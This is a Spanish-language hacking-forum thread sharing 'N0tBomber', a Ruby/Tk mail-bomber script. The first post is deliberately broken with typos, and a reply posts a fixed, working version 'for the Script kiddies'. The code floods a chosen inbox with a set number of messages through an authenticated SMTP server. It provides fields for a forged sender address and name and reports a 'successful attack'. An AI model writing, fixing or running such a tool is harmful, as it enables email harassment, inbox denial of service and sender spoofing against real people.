comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Mail-Bomber en Ruby

  • 1 Respuestas
  • 2346 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5401
  • Actividad:
    41.67%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Febrero 24, 2010, 04:18:59 pm »
Código: Ruby
  1. #N0tBomber
  2. #By Sh4van3
  3. #Powered by Anti-kiddies
  4. require 'net/smtp'
  5. require 'tk'
  6. root=TkRoot.new() {title "[N0tBomber]~"}
  7.  
  8. TkLabel.new(root) {
  9. text "Servidor SMTP:"
  10. pack('side'=>'top')
  11. }
  12. ser=TkVariable.new()
  13. TkEntry.new(root) {
  14. textvariable(ser)
  15. pack('side'=>'top')
  16. }
  17.  
  18. TkLabel.new(root) {
  19. text "Cuenta de correo:"
  20. pack('side'=>'top')
  21. }
  22. dir=TkVariable.new()
  23. TkEntry.new(root) {
  24. textvadriable(dir)
  25. pack('side'=>'top')
  26. }
  27.  
  28. TkLabel.new(root) {
  29. text "Contrase?a:"
  30. pack('side'=>'top')
  31. }
  32. con=TkVariable.new()
  33. TkEntry.new(root) {
  34. textvariable(con)
  35. pack('side'=>'top')
  36. }
  37.  
  38. TkLabel.new(root) {
  39. text "Direcci?n de destino:"
  40. pack('side'=>'top')
  41. }
  42. div=TkVariable.new()
  43. TkEntry.new(root) {
  44. textvariabsle(div)
  45. pack{padx 20; pady 20; "side" "top"}
  46. }
  47.  
  48. TkLabel.new(root) {
  49. text "Direcci?n remitente (falseada):"
  50. pack('side'=>'top')
  51. }
  52. dif=TkVariable.new()
  53. TkEntry.new(root) {
  54. textvariable(dif)
  55. pack('side'=> 'top')
  56. }
  57.  
  58. TkLabel.new(root) {
  59. text "Nombre del destinatario:"
  60. pack('sides'=>'top')
  61. }
  62. nmd=TkVariable.new()
  63. TkEntsry.new(root) {
  64. textvariable(nmd)
  65. pack('side'=>'top')
  66. }
  67.  
  68. TkLabel.new(root) {
  69. text "Nombre del remitente (puede ser falso):"
  70. pack('side'=>'top')
  71. }
  72. nmf=TkVardiable.new()
  73. TkEntry.new(root) {
  74. textvariable(nmf)
  75. pack('side'=>'top')
  76. }
  77.  
  78. TkLabel.new(root) {
  79. text "Asunto del mensaje:"
  80. pack('side'=>'top')
  81. }
  82. as=TkVariable.new()
  83. TkEntry.new(root) {
  84. textvariable(as)
  85. pack('side'=>'top')
  86. }
  87.  
  88. TkLabel.new(root) {
  89. text "Texto del mensaje:"
  90. pack('side'=>'top')
  91. }
  92. txt=TkVariable.new()
  93. TkEntry.new(root) {
  94. textvariable(txt)
  95. pack('side'=>'top')
  96. }
  97.  
  98. TkLabel.new(root) {
  99. text "N?mero de mensajes:"
  100. pack('side'=>'top')
  101. }
  102. num=TkVariable.new()
  103. TkEntry.new(root) {
  104. textvariable(num)
  105. pack('side'=>'top')
  106. }
  107.  
  108. result=TkText.new(root) {width 40; height 10}.pack("side"=>"bottom")
  109.  
  110. TkButton.new(root){
  111. text "Enviar"
  112. command proc{
  113. msg= "From: #{nmf} <#{dif}>
  114. To: #{nmd} <#{div}>
  115. Subject:#{as}\n\n#{txt}\n"
  116. begin
  117. smtp=Net::SMTP.start("#{ser}", 25, 'saludando', "#{dir}", "#{con}", :login)
  118. rescue Net::SMTPAuthenticationError
  119. puts"Fallo de autenticacion."
  120. rescue Net::SMTPServerBusy
  121. puts "El servidor se encuentra saturado. Prueba de nuevo mas tarde."
  122. rescue Net::SMTPSyntaxError
  123. puts "Ha habido un fallo de sintaxis. Revisa el asunto del mensaje y el texto del mismo."
  124. rescue Net::SMTPFatalError
  125. puts "Ha ocurrido un error fatal. Prueba de nuevo mas tarde."
  126. rescue Net::SMTPUnknownError
  127. puts "Un error inesperado ha ocurrido."
  128. end
  129. b=0
  130. until b==num.to_i
  131. smtp.send_message(msg, dif, div)
  132. b+=1
  133. puts "#{b} mails enviados."
  134. result.insert('end', "#{b} mails enviados.\n")
  135. end
  136. smtp.finish
  137. puts "Ataque finalizado con exito :-)"
  138. puts "          -->N0t GRoup Rulez<--"
  139. z="Ataque finalizado con ?xito."
  140. result.insert('end', "#{z}\n")
  141. result.insert('end', "-->N0t Group Rulez<--\n")
  142. }
  143. pack('side'=>'top')
  144. }
  145.  
  146. TkLabel.new(root) {
  147. text "Informe del env?o:"
  148. pack('side'=>'top')
  149. }
  150.  
  151. Tk.mainloop
« Última modificación: Julio 31, 2014, 10:16:05 pm por Expermicid »


Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« Respuesta #1 en: Septiembre 20, 2014, 05:55:16 pm »
perdon por revivir un post tan viejo , pero me puse a probar este script en ruby y el autor dejo como 30 errores a proposito para despistar a los Script kiddie , les dejo el codigo fixeado para los que quieran probar el script y aprender tk :

Código: Ruby
  1.     #N0tBomber
  2.     #By Sh4van3
  3.     #Script kiddies RULES Muahahahahaahahahaha
  4.     #Fixed for Doddy Hackman for the Script kiddies
  5.     require 'net/smtp'
  6.     require 'tk'
  7.     root=TkRoot.new() {title "[N0tBomber]~"}
  8.      
  9.     TkLabel.new(root) {
  10.     text "Servidor SMTP:"
  11.     pack('side'=>'top')
  12.     }
  13.     ser=TkVariable.new()
  14.     TkEntry.new(root) {
  15.     textvariable(ser)
  16.     pack('side'=>'top')
  17.     }
  18.      
  19.     TkLabel.new(root) {
  20.     text "Cuenta de correo:"
  21.     pack('side'=>'top')
  22.     }
  23.     dir=TkVariable.new()
  24.     TkEntry.new(root) {
  25.     textvariable(dir)
  26.     pack('side'=>'top')
  27.     }
  28.      
  29.     TkLabel.new(root) {
  30.     text "Contrase?a:"
  31.     pack('side'=>'top')
  32.     }
  33.     con=TkVariable.new()
  34.     TkEntry.new(root) {
  35.     textvariable(con)
  36.     pack('side'=>'top')
  37.     }
  38.      
  39.     TkLabel.new(root) {
  40.     text "Direcci?n de destino:"
  41.     pack('side'=>'top')
  42.     }
  43.     div=TkVariable.new()
  44.     TkEntry.new(root) {
  45.     textvariable(div)
  46.     pack{padx 20; pady 20; "side" "top"}
  47.     }
  48.      
  49.     TkLabel.new(root) {
  50.     text "Direcci?n remitente (falseada):"
  51.     pack('side'=>'top')
  52.     }
  53.     dif=TkVariable.new()
  54.     TkEntry.new(root) {
  55.     textvariable(dif)
  56.     pack('side'=> 'top')
  57.     }
  58.      
  59.     TkLabel.new(root) {
  60.     text "Nombre del destinatario:"
  61.     pack('side'=>'top')
  62.     }
  63.     nmd=TkVariable.new()
  64.     TkEntry.new(root) {
  65.     textvariable(nmd)
  66.     pack('side'=>'top')
  67.     }
  68.      
  69.     TkLabel.new(root) {
  70.     text "Nombre del remitente (puede ser falso):"
  71.     pack('side'=>'top')
  72.     }
  73.     nmf=TkVariable.new()
  74.     TkEntry.new(root) {
  75.     textvariable(nmf)
  76.     pack('side'=>'top')
  77.     }
  78.      
  79.     TkLabel.new(root) {
  80.     text "Asunto del mensaje:"
  81.     pack('side'=>'top')
  82.     }
  83.     as=TkVariable.new()
  84.     TkEntry.new(root) {
  85.     textvariable(as)
  86.     pack('side'=>'top')
  87.     }
  88.      
  89.     TkLabel.new(root) {
  90.     text "Texto del mensaje:"
  91.     pack('side'=>'top')
  92.     }
  93.     txt=TkVariable.new()
  94.     TkEntry.new(root) {
  95.     textvariable(txt)
  96.     pack('side'=>'top')
  97.     }
  98.      
  99.     TkLabel.new(root) {
  100.     text "N?mero de mensajes:"
  101.     pack('side'=>'top')
  102.     }
  103.     num=TkVariable.new()
  104.     TkEntry.new(root) {
  105.     textvariable(num)
  106.     pack('side'=>'top')
  107.     }
  108.      
  109.     result=TkText.new(root) {width 40; height 10}.pack("side"=>"bottom")
  110.      
  111.     TkButton.new(root){
  112.     text "Enviar"
  113.     command proc{
  114.     msg= "From: #{nmf} <#{dif}>
  115.    To: #{nmd} <#{div}>
  116.    Subject:#{as}\n\n#{txt}\n"
  117.     begin
  118.     smtp=Net::SMTP.start("#{ser}", 25, 'saludando', "#{dir}", "#{con}", :login)
  119.     rescue Net::SMTPAuthenticationError
  120.     puts"Fallo de autenticacion."
  121.     rescue Net::SMTPServerBusy
  122.     puts "El servidor se encuentra saturado. Prueba de nuevo mas tarde."
  123.     rescue Net::SMTPSyntaxError
  124.     puts "Ha habido un fallo de sintaxis. Revisa el asunto del mensaje y el texto del mismo."
  125.     rescue Net::SMTPFatalError
  126.     puts "Ha ocurrido un error fatal. Prueba de nuevo mas tarde."
  127.     rescue Net::SMTPUnknownError
  128.     puts "Un error inesperado ha ocurrido."
  129.     end
  130.     b=0
  131.     until b==num.to_i
  132.     smtp.send_message(msg, dif, div)
  133.     b+=1
  134.     puts "#{b} mails enviados."
  135.     result.insert('end', "#{b} mails enviados.\n")
  136.     end
  137.     smtp.finish
  138.     puts "Ataque finalizado con exito :-)"
  139.     puts "          -->N0t GRoup Rulez<--"
  140.     z="Ataque finalizado con ?xito."
  141.     result.insert('end', "#{z}\n")
  142.     result.insert('end', "-->N0t Group Rulez<--\n")
  143.     }
  144.     pack('side'=>'top')
  145.     }
  146.      
  147.     TkLabel.new(root) {
  148.     text "Informe del env?o:"
  149.     pack('side'=>'top')
  150.     }
  151.      
  152.     Tk.mainloop
  153.  
« Última modificación: Septiembre 20, 2014, 06:07:02 pm por Doddy »

 

¿Te gustó el post? COMPARTILO!



[Ruby] Traductor de Decimal a Ascii / Ascii a Decimal

Iniciado por ANTRAX

Respuestas: 0
Vistas: 1509
Último mensaje Febrero 24, 2010, 04:16:38 pm
por ANTRAX
Lenguaje Ruby, aprendiendo poco a poco.

Iniciado por Alejandro_99

Respuestas: 2
Vistas: 1520
Último mensaje Agosto 15, 2013, 02:58:39 pm
por Alejandro_99
Crafting rails 4 applications (Manual de Ruby on Rails 4)

Iniciado por Alejandro_99

Respuestas: 0
Vistas: 942
Último mensaje Marzo 01, 2014, 05:34:50 pm
por Alejandro_99
Desarrollo de aplicaciones Perl, PHP, Python y "Ruby on Rails"

Iniciado por Alejandro_99

Respuestas: 0
Vistas: 1188
Último mensaje Junio 13, 2014, 03:27:08 pm
por Alejandro_99
Shoesrb donde puedes hacerle una interfaz grafica a una aplicación hecha en Ruby

Iniciado por Alejandro_99

Respuestas: 3
Vistas: 1808
Último mensaje Mayo 21, 2013, 03:51:00 am
por D4rkC0d3r